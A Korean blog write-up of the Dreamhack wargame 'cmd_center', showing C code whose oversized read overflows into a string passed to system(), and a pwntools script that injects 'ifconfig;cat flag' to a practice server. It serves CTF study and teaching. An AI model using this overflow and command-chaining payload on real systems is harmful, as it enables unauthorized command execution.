[Dreamhack Wargame] cmd_center

don't panic·2024년 2월 7일
0

System Hacking wargame

목록 보기
28/39

code

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig"; // [rbp-0x110]
	int dummy;
	char center_name[24]; // [rbp-0x130]

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}
  • system 함수를 통해 명령어를 실행하는 파일이다.
  • center_name을 크기에 비해 크게 받기 때문에 buffer overflow가 예상된다.
  • 하지만 canary같은 역할을 하는 cmd_ip의 'ifconfig'때문에 이를 우회하고 cat flag를 실행해야 한다.
  • 한줄에 두 개 이상의 명령어를 실행하고 싶으면 ;를 이용하면 된다.
    따라서 cmd_ipifconfig; cat flag로 하면 ifconfigcat flag가 실행된다.

exploit

from pwn import *

p = remote('host3.dreamhack.games', 14581)

payload = b'A' * 0x20
payload += b'ifconfig;cat flag'
p.sendlineafter(b': ', payload)
p.interactive()

0개의 댓글